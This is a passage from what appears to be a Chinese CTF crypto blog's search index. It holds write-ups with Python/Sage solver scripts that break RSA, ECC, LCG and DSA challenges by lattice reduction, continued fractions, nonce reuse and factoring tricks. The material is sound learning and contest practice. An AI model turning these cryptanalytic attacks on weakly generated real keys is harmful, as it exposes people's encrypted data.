97751595771170183741059020607826350445818493283139901788335888783743233053935567691612719833760149160442642982219277553391300024636761543939370752084440994838400914263941671018563950741931060805020010336586743139356850718806959581718088821208788012369038995290781484069100872431520130453979814336360766383548e = 65536assert e == 2 ** 16from Crypto.Util.number import *import gmpy2p = gmpy2.gcd(num1 + num2 ,n)q = n//pinv_p = gmpy2.invert(p, q)inv_q = gmpy2.invert(q, p)def de_rabin(c): mp = pow(c, (p+1) // 4, p) mq = pow(c, (q+1) // 4, q) a = (inv_p * p * mq + inv_q * q * mp) % n b = n-int(a) c = (inv_p * p * mq - inv_q * q * mp) % n d = n-int(c) return [a,b,c,d]res=de_rabin(c)r=[]for j in res: r.extend(de_rabin(j))rr=[]for i in range(14): for j in r: rr.extend(de_rabin(j)) r=list(set(rr)) rr=[]for i in r: print(long_to_bytes(i)) MyGame共模攻击。 NTR数域上最简单的那个二维格。","categories":[{"name":"日常练习","slug":"日常练习","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/"},{"name":"随缘刷题(二)","slug":"日常练习/随缘刷题-二","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%BA%8C/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"刷题","slug":"刷题","permalink":"http://example.com/tags/%E5%88%B7%E9%A2%98/"}]},{"title":"随缘刷题(一)","slug":"随缘刷题-一","date":"2023-02-07T11:56:48.000Z","updated":"2023-03-18T05:01:28.000Z","comments":true,"path":"2023/02/07/随缘刷题-一/","link":"","permalink":"http://example.com/2023/02/07/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%B8%80/","excerpt":"​ 学如逆水行舟,不进则退。开一个刷题专栏,持之以恒地练习。PS:难度大约是中等。","text":"​ 学如逆水行舟,不进则退。开一个刷题专栏,持之以恒地练习。PS:难度大约是中等。 hgame2023 week4ECRSA1234567891011121314151617181920212223242526272829p=115192265954802311941399019598810724669437369433680905425676691661793518967453q=109900879774346908739236130854229171067533592200824652124389936543716603840487n = 12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611a = 34573016245861396068378040882622992245754693028152290874131112955018884485688b = 103282137133820948206682036569671566996381438254897510344289164039717355513886e = 11415307674045871669from Crypto.Util.number import *ciphertext = b'f\\xb1\\xae\\x08`\\xe8\\xeb\\x14\\x8a\\x87\\xd6\\x18\\x82\\xaf1q\\xe4\\x84\\xf0\\x87\\xde\\xedF\\x99\\xe0\\xf7\\xdcH\\x9ai\\x04[\\x8b\\xbbHR\\xd6\\xa0\\xa2B\\x0e\\xd4\\xdbr\\xcc\\xad\\x1e\\xa6\\xba\\xad\\xe9L\\xde\\x94\\xa4\\xffKP\\xcc\\x00\\x907\\xf3\\xea'c = Integer(bytes_to_long(ciphertext))Ep = EllipticCurve(Zmod(p), [a, b])Eq = EllipticCurve(Zmod(q), [a, b])py = Ep.lift_x(c)qy = Eq.lift_x(c)cc = crt([ZZ(py[1]),ZZ(qy[1])],[p,q])ct = (c,cc)E = EllipticCurve(Zmod(n), [a, b])C = E(ct)ordp = Ep.order()ordq = Eq.order()phi = ordp*ordqprint(phi)d = inverse_mod(e,phi)m = (C*d)[0]print(long_to_bytes(int(m))) LLLCG相较于普通的lcg,其增量为随机值,即$seed\\cdot a + (random\\;mod\\;n)$,注意是先模再加,所以增量可以看作一个小的噪音,问题转化为LWE。格子造两行就行了: \\left[ \\begin{matrix} s_1 & s_3 &\\cdots &s_{n-1} \\\\ s_2 & s_4 &\\cdots &s_n\\\\ \\end{matrix} \\right]这样的话规约时的系数分别为a和1,a即是flag。 1234567891011n = next_prime(2**360)c = c1 = [c[i] for i in range(0,len(c),2)]c2 = [c[j] for j in range(1,len(c),2)]print(len(c))A = [c1,c2]M = matrix(ZZ,A)L = M.LLL()[0]print(L)X = M.solve_left(L)print(X) LLLCG-Revenge在LLLCG的基础上改的,增加了括号,即$(seed\\cdot a + random)\\;mod\\;n$,这样整个问题不再是一个LWE,已知信息为$as_1+e_1=k_1n+s_2,as_2+e_2=k_2n+s_3\\cdots$,可以构造如下的格: \\left[ \\begin{matrix} n & 0 & \\cdots & 0 &0&0\\\\ 0 & n & \\cdots & 0 &0&0\\\\ \\vdots & \\vdots & \\ddots & \\vdots &\\vdots&\\vdots\\\\ 0 &0 &0 &n &0 &0 \\\\ s_1 & s_2 & \\cdots & s_{n-1} & \\small1 &0 \\\\ s_2 &s_3 &\\cdots &s_n &0 &\\small2^{340} \\end{matrix} \\right]那么$(e1,e_2\\cdots e{n-1},a,2^{340})$是该格上的短向量,a (flag)就可以规约得到。刚开始我没意识到这是个HNP,造的格少了两列,结果规约失败,与tsuppari师傅交流后发现加上两列构成方阵就很容易出了,感谢师傅。 12345678910111213141516n = next_prime(2^360)s = num = len(s)mat = [[0 for _ in range(num + 1)] for _ in range(num + 1)]for i in range(len(s) - 1): mat[i][i] = n mat[-2][i] = s[i] mat[-1][i] = s[i + 1]mat[-2][-2] = 1mat[-1][-1] = 2 ^ 340mat = matrix(ZZ,mat)solv = mat.LLL()[0]print(solv)flag = solv[-2]from Crypto.Util.number import *print(long_to_bytes(int(flag))) 长城杯2022xor利用异或的性质恢复即可。 12345678910111213141516171819202122232425262728293031323334353637383940414243start = 'flag{'res = [[150, 194, 49, 195, 23, 79, 66], [194, 136, 63, 147, 3, 2, 81], [132, 221, 57, 144, 83, 83, 93], [208, 223, 37, 193, 28, 0, 70], [154, 203, 108, 156, 28, 78, 68], [159, 221, 62, 146, 86, 82, 88], [197, 141, 117, 192, 31, 90, 85]]start_c = res[0]pad0 = start_c[0] ^ ord(start[0]) ^ ord(start[1]) ^ ord(start[2])pad1 = start_c[5] ^ ord(start[2]) ^ ord(start[4]) ^ pad0pad4 = start_c[6] ^ ord(start[0]) ^ ord(start[2]) ^ ord(start[4])pad2 = start_c[1] ^ ord(start[3]) ^ ord(start[4]) ^ pad1pad3 = start_c[3] ^ ord(start[3]) ^ pad1 ^ pad4i5 = start_c[4] ^ ord(start[4]) ^ pad0 ^ pad1print(chr(i5))pad5 = start_c[2] ^ i5 ^ pad1 ^ pad3pad = [pad0,pad1,pad2,pad3,pad4,pad5]def check(out): i = b'flag{9' tmp = [] tmp.append(i[0] ^ i[1] ^ i[2] ^ pad[0]) tmp.append(i[3] ^ i[4] ^ pad[1] ^ pad[2]) tmp.append(pad[5] ^ i[5] ^ pad[1] ^ pad[3]) tmp.append(i[3] ^ pad[3] ^ pad[4] ^ pad[1]) tmp.append(i[5] ^ pad[0] ^ i[4] ^ pad[1]) tmp.append(i[2] ^ i[4] ^ pad[0] ^ pad[1]) tmp.append(i[2] ^ i[0] ^ i[4] ^ pad[4]) if out == tmp: print('验证通过')def decrypt(c): i3 = c[3] ^ pad1 ^ pad3 ^ pad4 i4 = c[1] ^ i3 ^ pad1 ^ pad2 i2 = c[5] ^ i4 ^ pad0 ^ pad1 i0 = c[6] ^ i2 ^ i4 ^ pad4 i1 = c[0] ^ i0 ^ i2 ^ pad0 i5 = c[2] ^ pad1 ^ pad3 ^ pad5 return chr(i0) + chr(i1) + chr(i2) + chr(i3) + chr(i4) + chr(i5)if __name__ == '__main__': check(res[0]) flag = '' for i in res: flag = flag + decrypt(i) print(flag) known_phi已知phi和e,分解n是容易的,后边就是DSA的共用k攻击。 12345678910111213141516171819202122232425262728293031323334353637383940from Crypto.Util.number import *import randomimport gmpy2from hashlib import sha256n = 104228256293611313959676852310116852553951496121352860038971098657350022997841589403091722735802150153734050783858816709247647536393314564077002364012463220999962114186339228164032217361145009468516448617173972835797623658266515762201804936729547278758839604969469770650218191574897316410254695420895895051693phi = 104228256293611313959676852310116852553951496121352860038971098657350022997837434645707418205268240995284026522165519145773852565112344453740579163420312890001524537570675468046604347184376661743552799809753709321949095844960227307733389258381950812717245522599433727311919405966404418872873961877021696812800q = 24513014442114004234202354110477737650785387286781126308169912007819s1 = 764450933738974696530033347966845551587903750431946039815672438603r1 = 8881880595434882344509893789458546908449907797285477983407324325035r2 = 8881880595434882344509893789458546908449907797285477983407324325035s2 = 22099482232399385060035569388467035727015978742301259782677969649659e = 65537d = inverse(e,phi)def getpq(n): while True: k = phi g = random.randint(0, n) while k%2==0: k=k//2 temp=gmpy2.powmod(g,k,n)-1 if gmpy2.gcd(temp,n)>1 and temp!=0: return gmpy2.gcd(temp,n)# tmp = getpq(n)# print(tmp)factors = [92128261871628241975522014503893089775204276818952562864868068434189077323911,114034877389817517986186253205403596431234414440955842208884285396147740113161,87835491118288540715995802690214012778910595141140880257454164067662889225787,]factors.append(n//(factors[0]*factors[1]*factors[2]))factors.sort()m1 = long_to_bytes(factors[0] + factors[3])m2 = long_to_bytes(factors[1] + factors[2])hm1 = bytes_to_long(sha256(m1).digest())hm2 = bytes_to_long(sha256(m2).digest())k = (hm1 - hm2) * inverse(s1-s2,q) % qx = inverse(r1,q)*(s1 * k - hm1) % qprint(long_to_bytes(x)) baby_rsa(2021)enc1只给了c和e,没给n但给了不少p q的限制条件,p 的比特位数仅1000多,因此v1和m1应该都不大,那么进行遍历即可,当满足条件的时候进行解密,用flag头判断解密是否成功。 12345678910111213141516171819202122232425262728293031from Crypto.Util.number import long_to_bytesfrom gmpy2 import invert, is_primefrom tqdm import tqdmc1 = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311c2, n, fac = (40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083, 43001726046955078981344016981790445980199072066019323382068244142888931539602812318023095256474939697257802646150348546779647545152288158607555239302887689137645748628421247685225463346118081238718049701320726295435376733215681415774255258419418661466010403928591242961434178730846537471236142683517399109466429776377360118355173431016107543977241358064093102741819626163467139833352454094472229349598479358367203452452606833796483111892076343745958394932132199442718048720633556310467019222434693785423996656306612262714609076119634814783438111843773649519101169326072793596027594057988365133037041133566146897868269, 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739)P = []for v1 in tqdm(range(400)): for m1 in range(400): p = pow(v1, (m1+1))-pow((v1+1), m1) if int(p).bit_length() > 2048: break if is_prime(p): P.append(p)for p in P: for q in P: n1 = p*q if int(n1).bit_length() == 2048: try: d = invert(0x10001, (p-1)*(q-1)) dec = long_to_bytes(pow(c1, d, n1)) if b'flag' in dec: print(dec) break except ValueError: pass# flag{8102c552-3d78-4a 第二部分更简单,因为flag是uuid格式,所以flag2小于512比特,用fac[0]+fac[1]+fac[2]) << 1) - 1解密即可。 RSA只要注意给了$d_1-d_2$的值就很容易构造出kphi,那么求d解密即可。 123456789101112from Crypto.Util.number import *N = 0x62c048bc886075bffb9ad01255786dd8ef2480ba510f13689c1e84ffaaf21dfb5695a4d83f4ba22093bdd75bfc8f5979185d29724ecccf045e1857b1b2a4757dd82dc44318c054c9fce9bc451e6beecb97bbda6562420fc8c295521c5455443413f90403cf1af6271fb6d2d54378b86ced18ae6844a877890ea853a215880a09c68c517a75c1183c067b706ce630f3f0913591f7354cfa60c8f6b7ab2f15e466a1ea6e8034417a5fc3c11b8ba746596c22c734b09257e9a6fb18358738d416eda0ba0e7b028dd2d550b1e018b180916ac25f47910657a5db2410946c0593b7e23ed1659a811083f363ad4eb65642091a040befbd643089bbee376634d2394d11e1 = 0x124241a12ea2be53f9b9b1fd92e10d089cfa32aa07e6c2cace848aaa6c73ff06d4c6c92b7d1f29160b2eef95a5f580915d3f15c0ea23975cbadfe8347a10daab2bd0827d7e909b329ec53c5eb306f0a5125b3817e7ea0c15b2317a46c36c4f34fc626dadc6c769bcc7be18ddf7954fae8dde3fd4ce3c5146c019bdb0d9552af1dc9ef7186e06b1d59e763fb05c7cd21fbb3f509fee52d4e24921ebfa76bb8302ea6760e92606e440907cc1c110946af53900904e84dbc309fcef15ea060c667070e5e0310891606df151609ff609bcc6125c6043c35119b25df78b4d5ca61ab6492753cc5e5b32e044fce0aeb0442464f36298add254e9fb6505fa4cddae1cf7e2 = 0x17b3937cec3ca5fdddad8db29c6dc4efae1408bf5b4aa2ff602112c50f302e9698c79c7ab79fef0210c621dcc218d91d358b7f93a978c4e3f2b982794697c4797cef89189d1464ed1c767bf72433092922352885f8e355952c558ad2c9ade58a19375ddc5dcf3f9fa28c68a5cff158734d94224b85f77bd939133f39ab7884ece61d9fb3496373008827c2ae694dfe7da08eee348ef99c3a6737a4b088b62978cf209ef3d1140a30d42872615b94378108266e3d344caf51b497a585a4b5ef8619cc46959bad9b89f59f36175fbf9b64363443f3f7743896c72a198decedf89c518fa07b1d401d0359578a4926b7d67de86232ee24751f17dafbc749c0783b33e3 = 0x5647c4490bda9e7e497651551600572c5ef4e2d889b9b1ba0e9a493660497e10877e975c01da9aebae5e3ba9aad976a1a783b39191e8fd799689dfa26b069264d60543602d514ac412ac75d827d67c78ad544bda633f0fa69fb5bbc37e0f6b95714576ff53bae3f7f991d143a4b1e841730d5d580d4effeb8fb02e8b3c3c9a1f1899d2eb411ce37f16d30cfa1f7af7322be4f42f5d012f484a1181fa4aa0b5f420a472030a5c08c80bff76ab82ef5768bfd495abcdc5f22aae1891561322dfb28ff63c4e467411c8b73c11d64b05f411e2a1de0c7754c6a62d1f72cded9e2592ccc21be3fce4ea6f083a617a246fd3fe464ef2487adbfabfb628c882ea991675c = 0x45f2ee650d622d1e0f0e2e2e861001e9866c541f9f1dd2ec1dec18194f8b7224914916ecd68bbc74b28a000d2664e671586aed63b54c0928a939caf28d39eeba03c0ce3afcf2cdc5805e8e2792d76e88545aa4dee11078ba1e2e5b56ee23d58e443d7aff180d4e7463ae66ea8e96e0c8d4e1443e7664b99599af14e591e28cf2f833bd30b44b89c396b5fc1ee81ea3f7bc08dab426b1871eb66829c81d57e2ebf5c7a3e9c593ce496f0b0c4237906b019ae75ca551d6b0b1adfe64958c2ead6c39e517eb75eaf4b4d72402bea40f043cf0a80317aa2f1a996c727e195e15f903c0cac618f668af1015ee479d1c7b1c1b370fd4a5a76f5bf295e6bd7d0f4ae56fl0 = 0x3dbabf6ea5b801221c283bd234f04264d292c8f3048c8b59c21e003cda983a3a41e4392c6ea77a706631de60d261f2b367027e037d37fda5a13a8e01b2c6c0f48a3112315cffe7420a50a3ebada09aba61f8e6da793654a467b9f780c20c5085012e064ab9205c076073b4fb4895e01d0d568fd5c30159879180093855d39d5548a1389a94f57c680ckphi = e1 - e2 + l0 * e1 * e2d3 = inverse(e3,kphi)print(long_to_bytes(pow(c,d3,N))) VNCTF2021whitegive前一部分可以通过数论推导得到两个关于p的式子,求公因子分解以后解出e,发现e很大,于是尝试boneh_durfee求解即可。 1234567891011121314151617181920from gmpy2 import *from Crypto.Util.number import *n = 1246903000089073759886267722667196003041462505274526737638837808213476294697746018085346623497511017543801377442390781101585650581984057653018703031659844145960721073451379508212905335383758157379301019575213158532070229897587088955814288202279949391608732448294591675986989254272257059551622461096394217684402667140362275595245430242117193793913872208576714597860532581116390903216389172132085635891741189355461016795362341416848534340615825023292174042406128959c = 952508462840095293368043281511747192551431448088755251878915582522463097721381421883702408853564036431155676272901680250701398946525803160765527940151587567521509500006089852079864042238196362897144754722623523621230744820970423076092319608853809407595863195726851921082224085255808985329769890887863865121647796115540376158135632760785321953364738008064130705467326745546629505023549047992509562623348749056757848144371814157305011884825502144329268299851210747h = 788785744509676701442642497798353940704045062680685297430840370664093043099033424646382070232242765761123110381200239132310785932203252095093993313010883982078216697297202940152563278231011836966627537170460186597134847633828107444548759805274516431300662852153808962421740187067058018192457264083227110866080267684557127718769967184710395811547902947248700889674967381917907905535103547918375731341071557144999864774198881339085314424766509424492349867615604684e = 65537p = gcd(pow(e,e) * h - 1,n)q = n//p//pphi = (p-1) * (q-1) * pd = invert(e,phi)e0 = pow(c,d,n)print(e0.bit_length())print(e0)n0 = 97814568264814384858194701955408461509880555772006698372422205341758322175891474378211599333051180365254844248340812534463000531890490435018379585036704801177155418066770861143206836558793774360498040810255823235715535487716966004194143204900564413879660115112965484824906920141847149888933004740523449213441c0 = 86143311788363675684674113699193046781796638913243016152555572150858159500527674063754694514501999791875561142925154991000532628799185608465062814546108160434468098898040769021072007374156546314975240583347468026001633652940408779155579339470960571067652924814623371177901052302005289155305089588204204313261d0 = 103079922798932082066165266087442072203677117380612800709240732626110126828541print(long_to_bytes(pow(c0,d0,n0))) factor考查的是[Lattice Based Attack on Common Private Exponent RSA],但给的是$e_id\\equiv1\\;mod\\;(p+1)(q+1)$,参考论文可知这题$\\phi(N_i)=N_i - s_i=N_i-(-p_i-q_i-1)$,所以有$e_id-1=k_i(N_i-s_i)$,变形一下就是$e_id-k_iN_i=1-k_is_i$,利用这个关系就能规约,规约的结果为向量$(dM,1-k_1s_1,…,1-k_is_i)$,由于$1-k_is_i$的比特大约是$k_ip$,所以我们在构造格的时候才需要取$M=N_r^{1/2}$。本题求出的d并不能用于解密,因为$e_id\\equiv1\\;mod\\;(p+1)(q+1)$,需要取规约的系数得到$k_i$,利用$k_i$求出p+q分解n,最后利用正确的phi来求私钥d。 12345678910111213141516171819202122232425262728293031###Sage###from gmpy2 import *from Crypto.Util.number import *(n2,e2),(n1,e1) = [(115483338707853323510117244601663937653032657454816581880428779391136584508645415322441921678179684904267659942318581245589538093236558206867210468172871004098796706517288570963560499418427771831765342801956281881820593084352360716457591198748797415842971188690055630073433785996545367137242661591939632740177, 57942961120648999071495995119939754708884253716257622598699627649519120883383654560602196191747110519111036450217116739928381611061803307053632035548944075112790103258912149703053932492832060534126356062378027983000713091223894604748395826345780826674822582205573649323340945351657354960324397873669889767611), (53622548101803784449246949981043962044702821559359430270342163843702543781580388956841660273746825211912789196955019345268896290156568895362182295889379787233440464948232717888315385094207004043907898658611926470834448875571292174245716821120409044389816082878077188546182422805778560826667364235348059795229, 37629174280947918845570975617525141920002123382327456934545962737176558640617579710289304146119507880547361939594011152968663070025066085778798378563965349218834887746411017240322083056673687330052590220772859205859051875687741541958997904176801239206348298021023694604932588913541173039972303193792987583003)]c2,c1 = (51861394323132582263685584977796608641129485967610029542263453128833142621927008505594685713111162217651119546991411861320042282788909858323941435593508384080858965324662410947546608051702238057613339996124961723578887443100478753831786550701578678090466528863014222331341645240511640398819027209200809466160, 53200507591144017820710284362261363695745231005527161900426580605551005076410241969689161754211964469126847594337121140420040532547631617290907291418063708630323838133357597795892690304405706577096504918510233628396424543417886828387510407109281423448827267022542075484645277275676556239547911837897827866040)assert n1 < n2M=iroot(int(n2),int(2))[0]a=[0]*3a[0]=[M,e1,e2]a[1]=[0,-n1,0]a[2]=[0,0,-n2]Mat = matrix(ZZ,a)Mat_LLL=Mat.LLL()[0]t1 = Mat_LLL[1]# 求系数k1,k2v = Mat.solve_left(Mat_LLL)k1 = v[1]s1 = (1 - t1)//k1p1plusq1 = -s1 - 1print(p1plusq1)p, q = var('p, q')solve([p + q == p1plusq1,p * q == n1], p, q)p = 7606901304062429604110489427249254587884248344627948326915848665305366245856616424368965543016839050022061751753055060333176198894726784386359964040610943q = 7049197295772316208399586675406918999457038516909904725192476462818207744618559093720204540536950043797933449511950112596210193686547390820360414974856803phi = (p-1)*(q-1)d = inverse_mod(e1,phi)print(long_to_bytes(ZZ(pow(c1,d,n1)))) 湖湘杯2021signin考查的是维纳攻击的变式,即利用维纳攻击的思想(连分数)去求解参数。本题根据gen的算法可知p1和p2的比特差距并不是很大,那么近似有$q_1/q_2=n_1/n_2$,而$n_1$和$n_2$是已知的,可以考虑展开$n_1/n_2$的连分数来求解q1和q2。exp: 12345678910111213141516171819202122from gmpy2 import irootfrom Crypto.Util.number import *n1,n2 = pk = (1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233, 1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989)c1, c2 = (361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438, 33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394)c = continued_fraction(n1/n2)alist=c.convergents()for i in alist[1:]: if gcd(i.numerator(),n1) > 1: q1 = i.numerator() q2 = i.denominator() print(q1) print(q2) breake = 65537p1 = iroot(int(n1/q1),4)[0]p2 = iroot(int(n2/q2),4)[0]phi1 = p1^3 * (p1-1) * (q1-1)phi2 = p2^3 * (p2-1) * (q2-1)d1 = inverse_mod(65537,phi1)d2 = inverse_mod(65537,phi2)print(long_to_bytes(ZZ(pow(c1,d1,n1))) + long_to_bytes(ZZ(pow(c2,d2,n2)))) CISCN2022 东北赛区gcrd2gcrd是矩阵分析的内容,参考链接,根据定义,这里的矩阵T是aT和bT的一个最大右公因子,因此可以用gcrd的构造定理求解,即将aT和bT堆叠,进行初等行变换,最后划归的非零部分就是两个多项式矩阵的最大右公因子,在matlab里 用rref()函数即可化简,拿到T之后求一下res就能计算flag了。 1234567891011121314151617181920212223242526import numpy as npfrom hashlib import md5np.set_printoptions(threshold=np.inf)f = open('out','r')bT = []aT = []for i in range(32): line = [int(i) for i in f.readline().strip().split()] aT.append(line)for i in range(32): line = [int(i) for i in f.readline().strip().split()] bT.append(line)aT = np.array(aT)bT = np.array(bT)T = np.eye(32,dtype='int')res = np.dot(bT, np.dot(T, aT))flag = 0for i in str(res[:, 0])[1:-1].replace('\\n', '').split(' '): if not i == '': flag = flag + int(i)print(flag)result = md5(str(flag).encode()).hexdigest()print(result) math1没做出来,参考博客进行复现。首先根据密钥生成算法可知$n_1=a_1b_1+1,n_2=a_2b_2+1,n_3=a_1b_2+1,v_2=kb_1+1,N_1=n_1n_2,N_2=n_3v_2$,那么近似有$N_1/N_2=a_2/k$,展开连分数就可以求到a2和k,又$ed-1=k\\phi$,所以$\\phi_1\\equiv(-1)k^{-1}\\;mod\\;e$,并且$\\phi_1 \\equiv a_1a_2b_1b_2\\;mod\\;a_2$,用crt可将$\\phi_1$上升到模$a_2e$下。这仍然不足以求出$\\phi_1$,需要爆破,因为$N_1-\\phi_1$大约是512比特级别,和$a_2e$是同一个量级,所以考虑用$\\phi_1=\\phi_1low+N_1//(a_2e)*(a_2e)+te_2e$来爆破,t应该比较小。需要注意用N1是不行的,它不是$a_2e$的倍数。exp: 12345678910111213141516171819202122232425262728293031323334353637import gmpy2import libnumfrom tqdm import tqdmN1 = 112187114035595515717020336420063560192608507634951355884730277020103272516595827630685773552014888608894587055283796519554267693654102295681730016199369580577243573496236556117934113361938190726830349853086562389955289707685145472794173966128519654167325961312446648312096211985486925702789773780669802574893N2 = 95727255683184071257205119413595957528984743590073248708202176413951084648626277198841459757379712896901385049813671642628441940941434989886894512089336243796745883128585743868974053010151180059532129088434348142499209024860189145032192068409977856355513219728891104598071910465809354419035148873624856313067e = 86905291018330218127760596324522274547253465551209634052618098249596388694529enc1 = 71281698683006229705169274763783817580572445422844810406739630520060179171191882439102256990860101502686218994669784245358102850927955191225903171777969259480990566718683951421349181856119965365618782630111357309280954558872160237158905739584091706635219142133906953305905313538806862536551652537126291478865# c = continued_fraction(int(N2) / int(N1)) # sage里int不太对c = continued_fraction(N2 /N1)end = 0for i in tqdm(range(1, 211)): if end == 1: break a2 = c.denominator(i) k = c.numerator(i) if gmpy2.gcd(k, e) != 1: continue tmp = gmpy2.invert(k, e) res = (-1*tmp) % e phi_ = crt(res, 0, e, a2) bound = lcm(e,a2) # lcm phi1 = phi_ + (N1 // bound) * bound # 必须加bound的倍数 for j in range(1000): if gmpy2.gcd(e, phi1) == 1: d1 = gmpy2.invert(e, phi1) flag = libnum.n2s(int(pow(enc1, d1, N1))) if b"flag" in flag: print(flag) end = 1 break phi1 -= bound 巅峰极客2022point-power根据倍点公式和椭圆曲线公式建立方程组求解,用代入法比较好解: $y_1^2=x_1^3+ax_1+b$ $\\lambda=\\frac{3x_1^2+a}{2y_1}$ $\\lambda^2-2x_1=x_2$ 123456789101112p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727P.<a>=GF(p)[]y12 = x1^3+a*x1+bf = y12 * 4 * (x1*2+x2)-(3*x1^2+a)^2solve=f.roots()for a,_ in solve: print(bytes.fromhex(hex(a)[2:])) strange curvegcd推导一下,做gcd求p*q 。本题实际上是基于公钥加密体制Schmidt-Samoa。 12345678910111213from gmpy2 import gcdfrom Crypto.Util.number import *n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303pq = gcd(pow(2,n*x-1,n)-1,n)p = n//pqq = n//(p**2)phi = (p-1)*(q-1)*pd = inverse(65537,phi)print(long_to_bytes(pow(c,d,n))) Learning with faultvikeCTF2023Ramparts, Shields & Armour1234567891011121314151617181920212223from Crypto.Util.number import *from gmpy2 import *from primefac import fermate=65537n= 2715497625635217146051376883956221648457865424622390574119932619240972515957205301547292163268724150187299302534465552773073139476525066742321406599243867465883849966396559680643698047414084301014507492106282319588119157974394187603403699632895945629213903894587666324702695802895745447206685995668163896335087720970956472989601397590054003266898289768493161392030105302457157363021403799771182388703628329605850194393268686044923475312870917582827968692465970401385092167983959555898172994224835950025711275910795477467161659125090139213700951006615227142761425199562930474622208063719519967552546075441680528564381619671244482483370324691479133982575782792761354401433225302382110766631654057892534939319680412593946754663446176047443171302181260711497921957223797559705657563059146379524464376911709110980976711662094151747135752785623430700378782619219767151302618362874360951701711850602414797407445920937513222982463c= 2412481553363067093994916106363138049676984068236717223446550136171994383803478397500582933716465596790399547785030492395365201877716652700143844505307501652470883697533651197665986331703230104426840112747699995620811385491528574446175126510676387450802481586396253826465171957105380668709916951820668574228024071014457042504788367209816822997439069546208655373188430319424281112336866266338808391138368420494075883526920594370234349115371071576557496658595306274879005581064161369194441884021024926550233457727353645678589032674268525692578834142222591657655876528245907018527470023673383681518369733877208435542662260811658693623152145931671636562104853620717919813146153890630297430942453932072766596242967505064809743305645874530813033758653920440104744594118679043088872558752784045628474230603822071828647953195345218722932560770485975541412563771196519749202050483658465939572153802085946092772315833898486765474763f = iroot(n,3)[0]# 枚举求一个因子再费马分解for i in range(-10 ** 5,10 ** 5): t = f + i if gcd(t,n) > 1: print(t) breakp = 